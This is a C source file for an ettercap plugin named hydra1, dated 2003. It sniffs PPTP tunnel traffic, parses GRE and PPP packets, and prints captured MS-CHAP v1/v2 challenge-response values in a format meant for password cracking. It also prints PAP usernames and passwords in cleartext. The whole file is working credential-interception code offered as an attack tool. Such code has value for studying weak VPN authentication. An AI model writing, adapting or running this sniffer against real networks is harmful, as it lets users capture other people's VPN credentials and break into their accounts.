/*
    hydra1 -- ettercap plugin -- Gets chapms, chapms-v2, pap passwords

    Copyright (C) 2003  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

    $Id: H03_hydra1.c,v 1.1 2003/01/22 14:20:41 lordnaga Exp $
*/

#include <stdlib.h>

#ifndef CYGWIN
#include <unistd.h>
#endif

#include <sys/types.h>
#include <openssl/sha.h>
#include <stdio.h>
#include <string.h>

#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"

// protos....

int Plugin_Init(void *);
int Plugin_Fini(void *);
int hydra1(void *buffer);

// plugin operation

struct plugin_ops hydra1_ops = {
   ettercap_version: VERSION,
   plug_info:        "PPTP: Gets the passwords",
   plug_version:     11,
   plug_type:        PT_HOOK,
   hook_point:       PCK_RECEIVED_RAW,
   hook_function:    &hydra1,
};


struct pptp_gre_header {
	u_char flags;		
	u_char ver;		
	u_short protocol;	
	u_short payload_len;	
	u_short call_id;	
	u_int32_t seq;		
	u_int32_t ack;		
			
};

#define PPTP_GRE_PROTO	0x880B
#define PPTP_GRE_VER	0x1

#define PPTP_GRE_IS_C(f) ((f) & 0x80)
#define PPTP_GRE_IS_R(f) ((f) & 0x40)
#define PPTP_GRE_IS_K(f) ((f) & 0x20)
#define PPTP_GRE_IS_S(f) ((f) & 0x10)
#define PPTP_GRE_IS_A(f) ((f) & 0x80)

struct ppp_header {
	u_char address;
	u_char control;
	u_short proto;
};

#define PPP_PROTO_CHAP		0xc223
#define PPP_PROTO_PAP		0xc023

struct ppp_lcp_header {
	u_char code;
	u_char ident;
	u_short length;
};

#define PPP_CHAP_CODE_CHALLENGE	1
#define PPP_CHAP_CODE_RESPONSE	2

struct ppp_chap_challenge {
	u_char size;
	union {
		u_char challenge_v1[8];
		u_char challenge_v2[16];
		struct {
			u_char lanman[24];
			u_char nt[24];
			u_char flag;
		} response_v1;
		struct {
			u_char peer_challenge[16];
			u_char reserved[8];
			u_char nt[24];
			u_char flag;
		} response_v2;
	} value;
};
//==================================

int Plugin_Init(void *params)
{
   return Plugin_Register(params, &hydra1_ops);
}

int Plugin_Fini(void *params)
{
   return 0;
}


// =================================

int hydra1(void *buffer)              
{                                    
   IP_header  *ip;
   ETH_header *eth;
   RAW_PACKET *pck_raw;
   struct pptp_gre_header *pgh;
   struct ppp_header *ppp;
   struct ppp_lcp_header *chap;
   struct ppp_chap_challenge *chapch;
   u_short proto;
   u_char *p, digest[SHA_DIGEST_LENGTH], user[128], dummy[3];
   SHA_CTX ctx;
   unsigned int i, pghlen;
   static char  version=0, schallenge[512];
   
   pck_raw = (RAW_PACKET *)buffer;

   eth = (ETH_header *) pck_raw->buffer;
   if ( ntohs(eth->type) == ETH_P_IP )
   {
      ip = (IP_header *)(eth+1);
      if (ip->proto != IPPROTO_GRE) return (0);
      
      if (ntohs(ip->t_len) < (pghlen = sizeof(*pgh)) +  IP_HEADER)
	return (0);
		
      pgh = (struct pptp_gre_header *)((int)ip + ip->h_len * 4);
	
      if ((pgh->ver & 0x7f) != PPTP_GRE_VER ||
	   ntohs(pgh->protocol) != PPTP_GRE_PROTO ||
	   PPTP_GRE_IS_C(pgh->flags) || PPTP_GRE_IS_R(pgh->flags) ||
	   PPTP_GRE_IS_K(pgh->flags) == 0 || (pgh->flags & 0xf) != 0) 
		return (0);
	
      if (PPTP_GRE_IS_S(pgh->flags) == 0) return (0);
	
      if (PPTP_GRE_IS_A(pgh->ver) == 0) pghlen -= sizeof(pgh->ack);

      if (ntohs(ip->t_len) < ntohs(pgh->payload_len) + pghlen + IP_HEADER)
		return (0);

      ppp = (struct ppp_header *)((int)pgh + pghlen); 

      if (ppp->address != 0xff && ppp->control != 0x3) 
      {
		proto = ntohs(*((short *)ppp));
		chap = (struct ppp_lcp_header *)((u_char *)ppp + sizeof(proto));
      }
      else 
      {
	    proto = ntohs(ppp->proto);
	    chap = (struct ppp_lcp_header *)(ppp + 1);
      }
      
      if (proto == PPP_PROTO_CHAP)
      { 

       switch (chap->code) 
       {
	    case PPP_CHAP_CODE_CHALLENGE:
		chapch = (struct ppp_chap_challenge *)(chap + 1);

		if (chapch->size == 8) 
		{
		        schallenge[0]=0;
			version = 1;
			for (i=0; i<8; i++)
			{
			    sprintf(dummy, "%02X", chapch->value.challenge_v1[i]);
			    strcat(schallenge, dummy);
			}	    
		}
		else if (chapch->size == 16) 
		{
			version = 2;
			memcpy (schallenge, chapch->value.challenge_v2, chapch->size);
		}
		else version = 0;
                
		break;
	
	    case PPP_CHAP_CODE_RESPONSE:
            {
	        struct in_addr addr_source;
                struct in_addr addr_dest;		
		
		if (version != 1 && version !=2) break;
				
		chapch = (struct ppp_chap_challenge *)(chap + 1);
		i = ntohs(chap->length) - 5 - chapch->size;
		if (i > sizeof(user)-2) i = sizeof(user)-2;
		
		memcpy(user, (u_char *)chap + 5 + chapch->size, i);
		user[i] = '\0';	
		
		addr_dest.s_addr = ip->dest_ip;
                addr_source.s_addr = ip->source_ip;

		Plugin_Hook_Output("\n\nTunnel PPTP: %s -> ", inet_ntoa(addr_source)); 
		Plugin_Hook_Output("%s\n", inet_ntoa(addr_dest));
		Plugin_Hook_Output("PPTP CHAP Password:   %s:\"\":\"\":", user);
		
		if (version == 1) 
		{        
			for (i = 0; i < 24; i++) 
			    Plugin_Hook_Output("%02X", chapch->value.response_v1.lanman[i]);
			
			Plugin_Hook_Output(":");
			
			for (i = 0; i < 24; i++) 
			    Plugin_Hook_Output("%02X", chapch->value.response_v1.nt[i]);

			Plugin_Hook_Output(":%s",schallenge);
			
			Plugin_Hook_Output("\n\n");	
		}
		else if (version == 2) 
		{
			if ((p = strchr(user, '\\')) == NULL)
				p = user;
			else p++;
			
			SHA1_Init(&ctx);
			SHA1_Update(&ctx, chapch->value.response_v2.peer_challenge, 16);
			
			SHA1_Update(&ctx, schallenge, 16);
			SHA1_Update(&ctx, p, strlen(p));
			SHA1_Final(digest, &ctx);
			
			Plugin_Hook_Output("000000000000000000000000000000000000000000000000:");
			
			for (i = 0; i < 24; i++) 
			    Plugin_Hook_Output("%02X",chapch->value.response_v2.nt[i]);

			Plugin_Hook_Output(":");

			for (i = 0; i < 8; i++) 
			    Plugin_Hook_Output("%02X", digest[i]);

			Plugin_Hook_Output("\n\n");			
		}
		version = 0;
	    }
	    break;
       }
      }
      else if (proto == PPP_PROTO_PAP)
      {
           char *pap_auth;
	   char temp[128];
	   u_char len;
	   struct in_addr addr_source;
           struct in_addr addr_dest;		
		
	   if (chap->code==1)
	   {
	       pap_auth=(char *)(chap +1);
	       addr_dest.s_addr = ip->dest_ip;
               addr_source.s_addr = ip->source_ip;

		Plugin_Hook_Output("\n\nTunnel PPTP: %s -> ", inet_ntoa(addr_source)); 
		Plugin_Hook_Output("%s\n", inet_ntoa(addr_dest));
		Plugin_Hook_Output("PPTP PAP User: ");
	
	       memset(temp,0,sizeof(temp));
	       len=*pap_auth;
	       if (len>sizeof(temp)-2) len = sizeof(temp)-2;
	       pap_auth++;
	       memcpy(temp, pap_auth, len);
	       Plugin_Hook_Output("%s\n",temp);
	       
	       pap_auth+=len;
	       memset(temp,0,sizeof(temp));
	       len=*pap_auth;
	       pap_auth++;
	       if (len>sizeof(temp)-2) len = sizeof(temp)-2;
	       memcpy(temp, pap_auth, len);
	       Plugin_Hook_Output("PPTP PAP Pass: %s\n\n", temp);   
	   }
       }
   }

   return 0;
}


/* EOF */
